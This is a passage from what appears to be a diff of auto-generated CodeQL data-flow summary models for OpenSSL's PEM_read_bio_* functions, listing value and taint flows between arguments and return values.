True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", 